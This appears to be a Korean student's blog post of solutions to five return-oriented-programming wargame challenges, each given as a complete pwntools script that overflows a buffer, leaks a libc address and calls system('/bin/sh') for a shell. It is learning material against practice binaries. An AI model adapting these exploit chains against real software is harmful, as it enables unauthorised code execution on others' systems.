여러가지 ROP 문제 풀이
2021. 8. 1. 19:02ㆍLayer7/Pwnable
728x90
- rop32 풀이
from pwn import *
p=remote('sunrin.site', 9003)
e=ELF('./rop32')
libc=ELF('./libc.so.6.rop32')
read=libc.symbols['read']
read_got=e.got['read']
read_plt=e.plt['read']
main=e.symbols['main']
system=libc.symbols['system']
bss=e.bss()
printf_plt=e.plt['printf']
pr=0x0804855b
payload='A'*0x3a+'B'*4
payload+=p32(printf_plt)+p32(pr)+p32(read_got)
payload+=p32(read_plt)
payload+=p32(main)+p32(0)+p32(bss+0x200)+p32(8)
p.sendafter(': ',payload)
libc_base = u32(p.recvuntil('\xf7')[-4:])-read
p.send('/bin/sh\x00')
payload='A'*0x3a+'B'*4
payload+=p32(libc_base+system)
payload+='b'*0x4+p32(bss+0x200)
p.sendafter(': ',payload)
p.interactive()
메모장에 3개 정도의 단계를 써가면서 페이로드를 작성했습니다.
- 함수의 주소를 leak
- bss에 /bin/sh 문자열 넣어놓고 main으로 돌리기
- system 함수를 이용해 bss에 있는 /bin/sh 문자열 실행
- rop32 v2 풀이
from pwn import *
p=remote("sunrin.site",9004)
e=ELF('./rop32_v2')
libc=ELF('./libc.so.6.rop32v2')
pr=0x080486bb
read=libc.symbols['read']
read_plt=e.plt['read']
read_got=e.got['read']
system=libc.symbols['system']
puts_plt=e.plt['puts']
puts_got=e.got['puts']
vuln=e.symbols['vuln']
main=e.symbols['main']
bss=e.bss()
payload='a'*0x24+'b'*4
payload+=p32(puts_plt)+p32(pr)+p32(read_got)
payload+=p32(vuln)
p.sendafter(' : ',payload)
libc_base=u32(p.recvuntil('\xf7')[-4:])-read
payload='a'*0x24+'b'*4
payload+=p32(read_plt)+p32(vuln)+p32(0)+p32(bss+0x300)+p32(8)
p.sendafter(' : ',payload)
p.send('/bin/sh\x00')
payload='a'*0x24+'b'*4
payload+=p32(libc_base+system)
payload+='b'*0x4+p32(bss+0x300)
p.sendafter(' : ',payload)
p.interactive()
rop32와 거의 똑같은 문제였습니다.
다른 점은 함수 종류, vuln 함수에서 대부분의 일을 처리한다는 것 정도....?
- ropasaurusrex 풀이
from pwn import *
p=remote("sunrin.site",9005)
e=ELF('./ropasaurusrex')
libc=ELF('./libc.so.6.ropasaurusrex')
p3r=0x080484b6
main=0x080483f4
write_plt=e.plt['write']
write_got=e.got['write']
read=libc.symbols['read']
read_plt=e.plt['read']
read_got=e.got['read']
main=0x0804841d
system=libc.symbols['system']
bss=e.bss()
payload='a'*0x88+'b'*4
payload+=p32(write_plt)+p32(p3r)+p32(1)+p32(read_got)+p32(4)
payload+=p32(read_plt)+p32(main)+p32(0)+p32(bss+0x200)+p32(8)
p.send(payload)
leak=u32(p.recvuntil('\xf7')[-4:])-read
p.send('/bin/sh\x00')
payload='a'*0x88+'b'*4
payload+=p32(leak+system)
payload+='b'*4+p32(bss+0x200)
p.send(payload)
p.interactive()
이 문제 역시 rop32, rop32 v2와 유사했습니다.
그런데 main=e.symbols['main']으로 main() 함수의 주소를 가져오니까 깨지더라구요.
그래서 그냥 IDA로 열어서 main() 함수 주소를 가져왔습니다.
- rop64 v2
from pwn import *
context.log_level='debug'
e=ELF('./rop64_v2')
p=remote('sunrin.site',9007)
libc=ELF('./libc.so.6.rop64v2')
write_plt=e.plt['write']
write_got=e.got['write']
read=libc.symbols['read']
read_plt=e.plt['read']
read_got=e.got['read']
main=e.symbols['main']
system=libc.symbols['system']
bss=e.bss()
prdi=0x00000000004005f3 # pop rdi ; ret
prsi_r15=0x00000000004005f1 # pop rsi ; pop r15 ; ret
pay='A'*0x10 # BUF
pay+='B'*8 # SFP
# write(1,write@got,0x100)
pay+=p64(prdi) # BUF
pay+=p64(1) # rdi
pay+=p64(prsi_r15)
pay+=p64(read_got) # rsi
pay+=p64(4) # r15
pay+=p64(write_plt)
pay+=p64(prdi)
pay+=p64(0)
pay+=p64(prsi_r15)
pay+=p64(bss+0x200)
pay+=p64(8)
pay+=p64(read_plt)
pay+=p64(main) # ret -> main
p.sendafter('Hell, World\n',pay)
leak = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-read # padding
p.send('/bin/sh\x00')
pay='A'*0x10 # BUF
pay+='B'*8 # SFP
pay+=p64(prdi)
pay+=p64(bss+0x200)
pay+=p64(leak+system)
p.sendafter('Hell, World\n',pay)
p.interactive()
basic_rop_x64와 비슷한 방식으로 풀었습니다.
- BaskinRobins31
from pwn import*
context.log_level='debug'
p=remote('sunrin.site',9008)
e=ELF('./BaskinRobins31')
libc=e.libc
prdi=0x0000000000400bc3
pppr=0x000000000040087a
main=e.symbols['main']
write_plt=e.plt['write']
write_got=e.got['write']
system=libc.symbols['system']
read=libc.symbols['read']
read_plt=e.plt['read']
read_got=e.got['read']
your_turn=e.symbols['your_turn']
puts_plt=e.plt['puts']
puts_got=e.got['puts']
bss=e.bss()
payload='A'*(0xB0 + 0x8)
payload+=p64(prdi)
payload+=p64(read_got)
payload+=p64(puts_plt)
payload+=p64(pppr)
payload+=p64(0)
payload+=p64(bss+0x200)
payload+=p64(8)
payload+=p64(read_plt)
payload+=p64(your_turn)
p.sendlineafter('How many numbers do you want to take ? (1-3)\n',payload)
leak=u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-read
p.send('/bin/sh\x00')
payload='A'*(0xB0 + 0x8)
payload+=p64(prdi)+p64(bss+0x200)
payload+=p64(leak+system)
p.send(payload)
p.interactive()
이 문제는 함수가 다른 문제들보다 많아서 좀 복잡했습니다.
your_turn() 함수의 read 부분에서 BOF가 발생한다는 것을 발견하고, 이를 이용해 문제를 풀었습니다.
- 함수 주소 leak
- bss 영역에 /bin/sh 문자열을 넣어놓고 main으로
- leak한 주소를 이용해 system@call, /bin/sh 문자열이 system() 함수에 의해 실행
하얗게 불태웠다....
728x90
'Layer7 > Pwnable' 카테고리의 다른 글
FSB 문제 풀이 (2) (0) | 2021.08.03 |
---|---|
FSB 문제 풀이 (1) (0) | 2021.08.01 |
Pwndbg 동적 디버깅으로 RTL 32bit, RTL 64bit 풀기 - Ubuntu Linux (0) | 2021.07.19 |
PLT와 GOT (0) | 2021.07.17 |